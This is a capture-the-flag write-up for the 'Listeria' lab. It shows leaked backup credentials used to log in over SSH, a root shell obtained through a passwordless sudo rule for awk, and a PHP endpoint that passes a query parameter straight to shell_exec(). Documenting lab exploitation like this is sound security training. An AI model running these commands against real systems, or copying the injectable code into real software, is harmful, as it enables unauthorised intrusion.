Home›CTF & Writeups›Listeria

Listeria

✓ SOLVED

RatCTF — Web Enumeration → Credential Disclosure → SSH → Privilege Escalation (AWK)

1

Overview

The public web service exposed a backup directory containing plaintext SSH credentials. Those credentials provided the user foothold, and a passwordless AWK sudo rule provided root. A separate unauthenticated cmd.php command-execution endpoint was also confirmed after root.

User Flag✓
Root Flag✓
VaultUnresolved
2

Enumeration — Public Backup

HTTP was exposed on port 30160. The root path showed the default Apache page, while /backup/ allowed directory indexing and exposed credentials.txt.

Credential source
GET /backup/credentials.txt
HTTP/1.1 200 OK
Content-Type: text/plain
Key findingThe backup file contained plaintext credentials for the labuser account.
3

Foothold — SSH Access

SSH was exposed on port 30995. The leaked credentials authenticated successfully as labuser.

SSH
ssh -p 30995 labuser@173.230.128.67
ls
cat user.txt
USER FLAGflag{[REDACTED]}
4

Privilege Escalation — AWK

sudo -l showed passwordless root execution of /usr/bin/awk. AWK's system() function was used to launch Bash as root.

Sudo rule
(root) NOPASSWD: /usr/bin/awk
Root shell
sudo /usr/bin/awk 'BEGIN {system("/bin/bash")}'
whoami
cat /root/root.txt
5

Additional Finding — cmd.php RCE

After obtaining root, /var/www/html/cmd.php was found passing the cmd query parameter directly to shell_exec(). A request to /cmd.php?cmd=id executed as www-data.

Vulnerable code
if (isset($_GET['cmd'])) {
    echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
}
6

Outcome

Both principal flags were captured and are redacted in the public writeup. The optional Season 2 Vault fragment was investigated but not recovered.

Apache→/backup/→SSH credentials→labuser→sudo AWK→Root